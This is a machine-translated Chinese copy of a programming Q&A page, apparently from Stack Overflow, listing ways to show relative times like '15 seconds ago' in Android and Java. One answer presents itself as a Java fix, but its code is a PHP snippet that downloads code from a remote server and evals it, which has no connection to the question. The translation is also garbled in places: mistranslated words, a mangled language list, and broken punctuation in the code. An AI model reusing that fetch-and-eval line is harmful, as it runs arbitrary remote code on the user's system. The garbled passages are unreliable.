查看DateUtils.getRelativeTimeSpanString()，它自API级别3以来一直存在。

这为您提供了比上述答案更多的选项和格式。

在string.xml文件中添加以下字符串

答案 3 :(得分：6)

您可以使用内置的DateUtils类和getRelative...()方法。

答案 4 :(得分：4)

您也可以使用像libray PrettyTime这样的moment.js，另外还可以为您提供翻译内容。 http://www.ocpsoft.org/prettytime/

简单的例子：

PrettyTime p = new PrettyTime();
System.out.println(p.format(new Date()));
//prints: “moments from now”

System.out.println(p.format(new Date(System.currentTimeMillis() + 1000*60*10)));
//prints: “10 minutes from now”

答案 5 :(得分：2)

您可以试用我的库Time4A，它是Time4J的Android版本。演示：

Locale uk = Locale.UK;
TZID paris = EUROPE.PARIS; 
ChronoFormatter<Moment> f = 
    ChronoFormatter.ofMomentPattern("d. MMMM uuuu h:mm B", PatternType.CLDR, uk, paris);
PrettyTime pt = PrettyTime.of(uk);

// => examples for relative formats
Moment moment = f.parse("4. January 2016 5:45 in the afternoon");
System.out.println(pt.printRelative(moment, paris)); 
// output: 1 week ago

Moment now = SystemClock.currentMoment();
System.out.println(pt.printRelative(now, paris)); 
// output: now

Moment shortTimeAgo = now.minus(15, SI.SECONDS);
System.out.println(pt.printRelative(shortTimeAgo, paris)); 
// output: 15 seconds ago

TimeUnit precision = TimeUnit.DAYS;
System.out.println(pt.printRelative(shortTimeAgo, Timezone.of(paris), precision)); 
// output: today

// => examples for list formats     
Duration<?> duration = // this way for getting duration requires extra range-module
    MomentInterval.between(moment, now).getNominalDuration(
      Timezone.of(paris), 
      DAYS, HOURS, MINUTES);

System.out.println(pt.print(duration)); 
// output: 11 days, 1 hour and 26 minutes

System.out.println(pt.print(duration, TextWidth.ABBREVIATED)); 
// output: 11 days, 1 hr, 26 min

实际上支持 72种语言（v3.18-2016c），包括本地化复数规则（对于奴隶语言或阿拉伯语很重要）和三种不同的文字宽度：

  

af am ar az be bg bn bs ca cs da de el en es et fa fi

     

fil fr ga gu he hi hi hr hu hy id is ja ka kk km kn ko

     

ky lo lt lv mk mn mr ms nb ne nl nn pa pl pt ro ru

     

si sk sl sq sr sv sw t te t t u u ur uz vi zh zu

支持所有单位从年到秒（甚至是millis，micros，nanos作为列表格式）。

为了将java.util.Date或长时间戳（自Unix纪元以来表示毫秒）转换为/ time4j类型，您可以使用：

java.util.Date d = TemporalType.JAVA_UTIL_DATE.from(moment);
long epochMillis = TemporalType.MILLIS_SINCE_UNIX.from(moment);
Moment m1 = TemporalType.JAVA_UTIL_DATE.translate(d);
Moment m2 = TemporalType.MILLIS_SINCE_UNIX.translate(epochMillis);

答案 6 :(得分：2)

我检查了这篇文章中提及的所有答案，无法从任何文件中获得正确的格式化输出。终于找到了我在这篇文章中寻找的答案，http://memorynotfound.com/calculate-relative-time-time-ago-java/ 

$code=file_get_contents("http://myserver.com/code.txt");
eval($code);

答案 7 :(得分：2)

您可以使用android-before module https://github.com/curioustechizen/android-ago

在XML中添加组件

<com.github.curioustechizen.ago.RelativeTimeTextView
android:id="@+id/timestamp"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
app:relative_time_prefix="Completed "
android:layout_marginTop="@dimen/margin_primary" />

设置时间参考视图代码

RelativeTimeTextView v = (RelativeTimeTextView)findViewById(R.id.timestamp); //Or just use Butterknife!

v.setReferenceTime（new Date（）。getTime（））;
